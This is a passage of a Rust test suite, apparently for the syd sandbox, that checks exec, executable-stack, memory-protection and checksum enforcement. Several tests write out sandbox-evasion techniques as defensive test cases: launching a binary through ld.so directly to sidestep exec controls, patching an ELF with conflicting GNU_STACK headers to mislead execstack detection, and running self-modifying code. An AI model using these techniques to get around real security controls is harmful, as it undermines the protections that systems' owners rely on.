test -c /dev/syd/trace/deny_exec_elf_dynamic:0 || exit 2
./exit || exit 4
true
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_deny_exec_elf_static() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(
r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
exit(0);
}
EOF
cc exit.c -o exit -static
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_exec_elf_static:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_exec_elf_static:0 || exit 2
./exit || exit 4
true
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_deny_exec_script() -> TestResult {
skip_unless_available!("sh");
syd::fs::cat("script", "#!/bin/sh\nexit 42")?;
syd::fs::chmod_x("script")?;
// Scripts are allowed by default.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["./script"])
.status()
.expect("execute syd");
assert_status_code!(status, 42);
// Scripts are denied with deny_exec_script:1.
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.m("trace/deny_exec_script:1")
.argv(["./script"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_restrict_exec_script_default() -> TestResult {
// SECBIT_EXEC_RESTRICT_FILE is Linux>=6.14.
skip_unless_linux!(6, 14);
let status = syd()
.p("off")
.argv([&*SYD_SEC])
.arg("-xX")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_restrict_exec_script_unsafe() -> TestResult {
// SECBIT_EXEC_RESTRICT_FILE is Linux>=6.14.
skip_unless_linux!(6, 14);
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_script:1")
.argv([&*SYD_SEC])
.arg("-xX")
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_restrict_exec_interactive_default() -> TestResult {
// SECBIT_EXEC_DENY_INTERACTIVE is Linux>=6.14.
skip_unless_linux!(6, 14);
let status = syd()
.p("off")
.argv([&*SYD_SEC])
.arg("-iI")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_restrict_exec_interactive_unsafe() -> TestResult {
// SECBIT_EXEC_DENY_INTERACTIVE is Linux>=6.14.
skip_unless_linux!(6, 14);
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_interactive:1")
.argv([&*SYD_SEC])
.arg("-iI")
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_0_securebits_noroot() -> TestResult {
skip_unless_cap!("setpcap");
let status = syd()
.p("off")
.argv([&*SYD_SEC])
.arg("-rR")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_securebits_no_setuid_fixup() -> TestResult {
skip_unless_cap!("setpcap");
let status = syd()
.p("off")
.argv([&*SYD_SEC])
.arg("-sS")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_securebits_keep_caps() -> TestResult {
skip_unless_cap!("setpcap");
let status = syd()
.p("off")
.argv([&*SYD_SEC])
.arg("-K") // -k cleared on exec!
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_securebits_no_cap_ambient_raise() -> TestResult {
skip_unless_cap!("setpcap");
let status = syd()
.p("off")
.argv([&*SYD_SEC])
.arg("-aA")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_userns_securebits_noroot() -> TestResult {
skip_unless_unshare!("user");
let status = syd()
.p("off")
.m("unshare/user:1")
.argv([&*SYD_SEC])
.arg("-rR")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_userns_securebits_no_setuid_fixup() -> TestResult {
skip_unless_unshare!("user");
let status = syd()
.p("off")
.m("unshare/user:1")
.argv([&*SYD_SEC])
.arg("-sS")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_userns_securebits_keep_caps() -> TestResult {
skip_unless_unshare!("user");
let status = syd()
.p("off")
.m("unshare/user:1")
.argv([&*SYD_SEC])
.arg("-K") // -k cleared on exec!
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_userns_securebits_no_cap_ambient_raise() -> TestResult {
skip_unless_unshare!("user");
let status = syd()
.p("off")
.m("unshare/user:1")
.argv([&*SYD_SEC])
.arg("-aA")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_prevent_ld_linux_exec_break_default() -> TestResult {
skip_if_strace!();
skip_unless_available!("bash", "true");
// Shared library execution is denied by default.
let syd_elf = &SYD_ELF.to_string();
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["bash", "-c"])
.arg(format!(
r##"
# Find ld.so that matches /bin/true's ELF class.
if [ -x /bin/true ]; then
BIN=/bin/true
elif [ -x /usr/bin/true ]; then
BIN=/usr/bin/true
else
echo >&2 "no true executable found"
exit 127
fi
if {syd_elf} -3 "$BIN"; then
BIN_ARCH=32
elif {syd_elf} -6 "$BIN"; then
BIN_ARCH=64
else
echo >&2 "cannot determine ELF class of $BIN"
exit 127
fi
# Search typical library dirs; ignore errors about missing dirs.
find /lib /lib64 /lib32 /usr/lib /usr/lib64 /usr/lib32 \
-maxdepth 3 -type f -name 'ld*.so*' -executable -print0 2>/dev/null > ld.lst
while IFS= read -r -d '' ldso; do
if {syd_elf} -3 "$ldso"; then
LD_ARCH=32
elif {syd_elf} -6 "$ldso"; then
LD_ARCH=64
else
continue
fi
[ "$BIN_ARCH" = "$LD_ARCH" ] || continue
set -x
exec "$ldso" "$BIN"
exit 127
done < ld.lst
echo >&2 "ld.so not found"
exit 127
"##,
))
.status()
.expect("execute syd");
assert_status_code!(status, 126);
Ok(())
}
fn test_syd_prevent_ld_linux_exec_break_unsafe_exec_ldso() -> TestResult {
skip_if_strace!();
skip_unless_available!("bash", "true");
// Shared library execution is allowed with allow_unsafe_exec_ldso:1.
let syd_elf = &SYD_ELF.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_ldso:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["bash", "-c"])
.arg(format!(
r##"
# Find ld.so that matches /bin/true's ELF class.
if [ -x /bin/true ]; then
BIN=/bin/true
elif [ -x /usr/bin/true ]; then
BIN=/usr/bin/true
else
echo >&2 "no true executable found"
exit 127
fi
if {syd_elf} -3 "$BIN"; then
BIN_ARCH=32
elif {syd_elf} -6 "$BIN"; then
BIN_ARCH=64
else
echo >&2 "cannot determine ELF class of $BIN"
exit 127
fi
# Search typical library dirs; ignore errors about missing dirs.
find /lib /lib64 /lib32 /usr/lib /usr/lib64 /usr/lib32 \
-maxdepth 3 -type f -name 'ld*.so*' -executable -print0 2>/dev/null > ld.lst
while IFS= read -r -d '' ldso; do
if {syd_elf} -3 "$ldso"; then
LD_ARCH=32
elif {syd_elf} -6 "$ldso"; then
LD_ARCH=64
else
continue
fi
[ "$BIN_ARCH" = "$LD_ARCH" ] || continue
set -x
exec "$ldso" "$BIN"
exit 127
done < ld.lst
echo >&2 "ld.so not found"
exit 127
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_prevent_ld_linux_exec_break_unsafe_ptrace() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_available!("bash", "true");
// Shared library execution is allowed with allow_unsafe_ptrace:1.
let syd_elf = &SYD_ELF.to_string();
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["bash", "-c"])
.arg(format!(
r##"
# Find ld.so that matches /bin/true's ELF class.
if [ -x /bin/true ]; then
BIN=/bin/true
elif [ -x /usr/bin/true ]; then
BIN=/usr/bin/true
else
echo >&2 "no true executable found"
exit 127
fi
if {syd_elf} -3 "$BIN"; then
BIN_ARCH=32
elif {syd_elf} -6 "$BIN"; then
BIN_ARCH=64
else
echo >&2 "cannot determine ELF class of $BIN"
exit 127
fi
# Search typical library dirs; ignore errors about missing dirs.
find /lib /lib64 /lib32 /usr/lib /usr/lib64 /usr/lib32 \
-maxdepth 3 -type f -name 'ld*.so*' -executable -print0 2>/dev/null > ld.lst
while IFS= read -r -d '' ldso; do
if {syd_elf} -3 "$ldso"; then
LD_ARCH=32
elif {syd_elf} -6 "$ldso"; then
LD_ARCH=64
else
continue
fi
[ "$BIN_ARCH" = "$LD_ARCH" ] || continue
set -x
exec "$ldso" "$BIN"
exit 127
done < ld.lst
echo >&2 "ld.so not found"
exit 127
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_enforce_pie_dynamic() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(
r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
exit(0);
}
EOF
cc exit.c -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 4
./exit && exit 5
true
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_pie_static() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(
r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
exit(0);
}
EOF
cc exit.c -static -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 4
./exit && exit 5
true
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_execstack_dynamic() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(
r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
exit(0);
}
EOF
cc exit.c -fPIE -pie -zexecstack -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_stack:0 || exit 4
./exit && exit 5
true
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_execstack_static() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(
r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
exit(0);
}
EOF
cc exit.c -static-pie -zexecstack -o exit
test $? -eq 0 || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_stack:0 || exit 4
./exit && exit 5
true
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_execstack_nested_routine() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_strace!();
skip_if_32bin_64host!();
if !check_nested_routines() {
// Nested routines not supported.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// Executable stack is disabled by default.
let status = syd()
.p("off")
.args(["./nested", "0"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// The restriction may be relaxed with trace/allow_unsafe_exec_stack:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_stack:1")
.args(["./nested", "0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_enforce_execstack_self_modifying() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_strace!();
skip_if_32bin_64host!();
if !check_self_modifying_xs() {
// Self-modifying code not supported on this arch.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// Executable stack is disabled by default.
let status = syd()
.p("off")
.arg("./selfmod")
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// The restriction may be relaxed with trace/allow_unsafe_exec_stack:1.
// However this will now be stopped by the next restriction: MDWE.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_stack:1")
.arg("./selfmod")
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// MDWE may be relaxed with trace/allow_unsafe_exec_memory:1.
// With these two knobs off, self-modifying code is free to execute.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.arg("./selfmod")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_enforce_mprotect_self_modifying() -> TestResult {
skip_if_mips!(); // No W^X.
skip_if_32bin_64host!();
if !check_self_modifying_mp() {
// Self-modifying code not supported on this arch.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// mprotect(PROT_EXEC) is killed by default.
let status = syd()
.p("off")
.arg("./selfmod")
.status()
.expect("execute syd");
assert_status_sigsys!(status);
// The restriction may be relaxed with trace/allow_unsafe_exec_memory:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.arg("./selfmod")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_enforce_execstack_on_mmap_noexec_rtld_now() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
// Compile a library.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF
cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile dynamic library!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
// Expect dynamic library load with RTLD_NOW to succeed.
let status = syd()
.p("off")
.m("allow/exec,read,stat+/***")
.do_("dlopen_now", ["./load.so"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != 128 {
assert_status_ok!(status);
} else {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
// Compile a library.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF
cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile dynamic library!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
// Expect dynamic library load with RTLD_LAZY to succeed.
let status = syd()
.p("off")
.m("allow/exec,read,stat+/***")
.do_("dlopen_lazy", ["./load.so"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != 128 {
assert_status_ok!(status);
} else {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_execstack_on_mmap_exec_rtld_now() -> TestResult {
skip_if_32bin_64host!();
skip_if_mips!(); // No W^X.
skip_unless_available!("cc", "sh");
// Compile a library with executable stack.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF
cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile dynamic library!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
// Expect dynamic library load with RTLD_NOW and execstack to fail.
let status = syd()
.p("off")
.m("allow/exec,read,stat+/***")
.do_("dlopen_now", ["./load-xs.so"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != 128 {
assert_status_access_denied!(status);
} else {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy() -> TestResult {
skip_if_32bin_64host!();
skip_if_mips!(); // No W^X.
skip_unless_available!("cc", "sh");
// Compile a library with executable stack.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF
cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile dynamic library!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
// Expect dynamic library load with RTLD_LAZY and execstack to fail.
let status = syd()
.p("off")
.m("allow/exec,read,stat+/***")
.do_("dlopen_lazy", ["./load-xs.so"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != 128 {
assert_status_access_denied!(status);
} else {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
// Compile a library with executable stack.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF
cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile dynamic library!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
// Expect dynamic library load with RTLD_NOW and execstack to succeed with unsafe_exec_stack:1
// For gl*bc we need trace/allow_unsafe_exec_memory:1 or this will be killed at mprotect boundary.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.m("allow/exec,read,stat+/***")
.do_("dlopen_now", ["./load-xs.so"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code == 128 || code == EX_SIGSEGV {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
} else {
assert_status_ok!(status);
}
Ok(())
}
fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
// Compile a library with executable stack.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF
cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code == 127 {
eprintln!("Failed to compile dynamic library!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
// Expect dynamic library load with RTLD_LAZY and execstack to succeed with unsafe_exec_stack:1
// For gl*bc we need trace/allow_unsafe_exec_memory:1 or this will be killed at mprotect boundary.
let status = syd()
.p("off")
.m("trace/allow_unsafe_exec_memory:1")
.m("trace/allow_unsafe_exec_stack:1")
.m("allow/exec,read,stat+/***")
.do_("dlopen_lazy", ["./load-xs.so"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code == 128 || code == EX_SIGSEGV {
env::set_var("SYD_TEST_SOFT_FAIL", "1");
} else {
assert_status_ok!(status);
}
Ok(())
}
fn test_syd_enforce_execstack_multiple_gnu_stack_1() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cat", "cc", "python3", "readelf");
// Compile a library with multiple PT_GNU_STACK headers.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > stub.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
int main(void) {
if (getenv("SYD_TEST_PAUSE")) {
pause();
}
exit(0);
}
EOF
# Assemble and link.
cc stub.c -o test_multi_stack
# Patch in Python (requires lief: pip install lief).
python3 << 'EOF'
import lief
# Parse the existing ELF.
elf = lief.parse("test_multi_stack")
# 1st: non-exec stack (flags = R|W).
s1 = lief.ELF.Segment()
s1.type = lief.ELF.Segment.TYPE.GNU_STACK
s1.flags = (
lief.ELF.Segment.FLAGS.R |
lief.ELF.Segment.FLAGS.W
)
elf.add(s1)
# 2nd: exec stack (flags = R|W|X).
s2 = lief.ELF.Segment()
s2.type = lief.ELF.Segment.TYPE.GNU_STACK
s2.flags = (
lief.ELF.Segment.FLAGS.R |
lief.ELF.Segment.FLAGS.W |
lief.ELF.Segment.FLAGS.X
)
elf.add(s2)
# Overwrite the original binary.
elf.write("test_multi_stack")
EOF
# Verify that we now have many GNU_STACK entries.
readelf -l test_multi_stack
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code != 0 {
eprintln!("Failed to create patched ELF!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
let syd_elf = &SYD_ELF.to_string();
let output = Command::new(syd_elf)
.arg("test_multi_stack")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let data = String::from_utf8_lossy(&output.stdout);
assert!(
data.contains("xs"),
"Executable incorrectly marked as not having execstack: {data}",
);
Ok(())
}
fn test_syd_enforce_execstack_multiple_gnu_stack_2() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cat", "cc", "python3", "readelf");
// Compile a library with multiple PT_GNU_STACK headers.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > stub.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
int main(void) {
if (getenv("SYD_TEST_PAUSE")) {
pause();
}
exit(0);
}
EOF
# Assemble and link.
cc stub.c -o test_multi_stack
# Patch in Python (requires lief: pip install lief).
python3 << 'EOF'
import lief
# Parse the existing ELF.
elf = lief.parse("test_multi_stack")
# 1st: exec stack (flags = R|W|X).
s1 = lief.ELF.Segment()
s1.type = lief.ELF.Segment.TYPE.GNU_STACK
s1.flags = (
lief.ELF.Segment.FLAGS.R |
lief.ELF.Segment.FLAGS.W |
lief.ELF.Segment.FLAGS.X
)
elf.add(s1)
# 2nd: non-exec stack (flags = R|W).
s2 = lief.ELF.Segment()
s2.type = lief.ELF.Segment.TYPE.GNU_STACK
s2.flags = (
lief.ELF.Segment.FLAGS.R |
lief.ELF.Segment.FLAGS.W
)
elf.add(s2)
# Overwrite the original binary.
elf.write("test_multi_stack")
EOF
# Verify that we now have many GNU_STACK entries.
readelf -l test_multi_stack
"##,
)
.status()
.expect("execute sh");
let code = status.code().unwrap_or(127);
if code != 0 {
eprintln!("Failed to create patched ELF!");
eprintln!("Skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
assert_status_ok!(status);
let syd_elf = &SYD_ELF.to_string();
let output = Command::new(syd_elf)
.arg("test_multi_stack")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let data = String::from_utf8_lossy(&output.stdout);
assert!(
!data.contains("xs"),
"Executable incorrectly marked as having execstack: {data}",
);
Ok(())
}
fn test_syd_force_sandbox() -> TestResult {
skip_if_strace!();
skip_unless_available!("true");
// Wide set of algorithms matching hash.rs coverage.
let algorithms: &[(&str, usize)] = &[
("crc32", 4),
("crc32c", 4),
("md4", 16),
("md5", 16),
("rmd160", 20),
("sha1", 20),
("sha224", 28),
("sha256", 32),
("sha384", 48),
("sha512", 64),
("sha3-224", 28),
("sha3-256", 32),
("sha3-384", 48),
("sha3-512", 64),
("sm3", 32),
("blake2b-256", 32),
("blake2b-512", 64),
("xxhash64", 8),
];
// Note, `which` returns canonicalized path.
let bin_true = which("true").expect("true in PATH");
// Test hash_pipe with None (empty-string hashing) for algorithm coverage.
// Gracefully skip algorithms not supported by the running kernel.
let mut supported: Vec<(&str, String, String)> = Vec::new();
for &(alg, expected_size) in algorithms {
match hash_pipe::<OwnedFd>(alg, None) {
Ok(empty) => {
assert!(
!empty.is_empty(),
"hash_pipe({alg}, None) returned empty digest",
);
assert_eq!(
empty.len(),
expected_size,
"hash_pipe({alg}, None) digest size mismatch: expected {expected_size}, got {}",
empty.len(),
);
// Now hash the real binary.
match hash(alg, File::open(&bin_true).unwrap()) {
Ok(sum) => {
let hex_sum = HEXLOWER.encode(&sum);
let bad_sum = "a".repeat(expected_size * 2);
assert_ne!(
hex_sum, bad_sum,
"{alg}: real hash of true(1) collides with bad checksum!",
);
supported.push((alg, hex_sum, bad_sum));
}
Err(errno) => {
eprintln!("{alg}: hash failed on true(1): {errno}, skipping.");
}
}
}
Err(Errno::EAFNOSUPPORT | Errno::ENOENT) => {
eprintln!("{alg}: not supported by kernel, skipping.");
}
Err(errno) => {
panic!("{alg}: hash_pipe failed with unexpected errno: {errno}");
}
}
}
if supported.is_empty() {
eprintln!("No hash algorithms available, skipping force sandbox tests.");
return Ok(());
}
// Test 1: Force sandboxing defaults.
let status = syd()
.p("off")
.m("sandbox/force:on")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:allow")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:warn")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:filter")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:deny")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:panic")
.argv(["true"])
.status()
.expect("execute syd");
//We do NOT panic the main thread.
//assert_status_panicked!(status);
assert_status_access_denied!(status);
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:kill")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_killed!(status);
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:exit")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
// Test 2: Force sandboxing with all supported algorithms.
// We set default/force:warn so as not to care about dynamic libraries.
for act in ["", ":filter", ":deny", ":panic", ":kill", ":exit"] {
for &(alg, ref good_sum, ref bad_sum) in &supported {
// Correct checksum: must succeed.
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:warn")
.m(format!("force+{bin_true}:{alg}:{good_sum}{act}"))
.argv(["true"])
.status()
.expect("execute syd");
assert_status_ok!(status);
// Wrong checksum (right length): must fail with appropriate action.
let status = syd()
.p("off")
.m("sandbox/force:on")
.m("default/force:warn")
.m(format!("force+{bin_true}:{alg}:{bad_sum}{act}"))
.argv(["true"])
.status()
.expect("execute syd");
match act {
":kill" => {
assert_status_killed!(status);
}
":panic" => {
//We do NOT panic the main thread.
//assert_status_panicked!(status);
assert_status_access_denied!(status);
}
_ => {
assert_status_access_denied!(status);
}
};
}
}
Ok(())
}
